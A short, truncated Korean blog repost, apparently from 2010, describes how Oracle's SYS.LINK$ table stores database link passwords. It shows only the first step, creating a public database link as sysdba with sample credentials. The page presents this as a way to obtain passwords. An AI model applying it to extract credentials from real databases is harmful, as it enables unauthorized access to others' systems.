dblink1 SYS.LINK를 통한 오라클 패스워드 취득 !! [펌] [출처] http://cafe.naver.com/sec.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=1137 SYS.LINK 취약점을 이용한 Oracle 패스워드 추출 SYS.Link$ stores password! Version 10.1.0.2 (tested on 9i version also) OS Windows (tested on Unix versions also) 1) DB link를 생성(다른 유저로 접속) SQL> connect / as sysdba Connected. SQL> create public database link test connect to sac identified by arora using 2 'sac'; Database link create.. 2010. 2. 5. 이전 1 다음